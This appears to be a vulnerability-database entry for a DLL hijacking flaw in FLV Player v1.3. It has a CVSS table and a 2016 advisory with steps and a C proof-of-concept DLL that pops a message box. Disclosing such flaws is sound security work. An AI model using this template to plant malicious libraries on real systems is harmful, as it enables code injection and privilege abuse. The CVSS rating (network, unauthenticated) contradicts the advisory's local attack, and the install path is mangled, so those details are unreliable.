CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Flv Player 2011 v1.3 - DLL Hijacking VulnerabilityDocument Title: =============== Flv Player 2011 v1.3 - DLL Hijacking Vulnerability Release Date: ============= 2016-09-23 Vulnerability Disclosure Timeline: ================================== 2016-09-30 : Public Disclosure Product & Service Introduction: =============================== FLV Player is a utility that you can use to play files in FLV format, a format often used for videos that are delivered over the Internet. Aside from FLV files, MPEG, MOV, MP4, AVI, SWF, 3GPP and 3GPP2, WMV or RM files can also be played by the utility. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Affected Product(s): ==================== Reganam Interactive Product: FLV Player - Software Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official FLV Player software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] FLV Player Version Software: [+] v1.3 Vulnerable Libraries: [+] wintab32.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to wintab32.dll 2. Copy wintab32.dll to C:Program FilesFlvplayer2013Flv-Player.exe 3. Launch Flv-Player.exe 4. MessageBox Executed -- PoC Exploit -- #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.
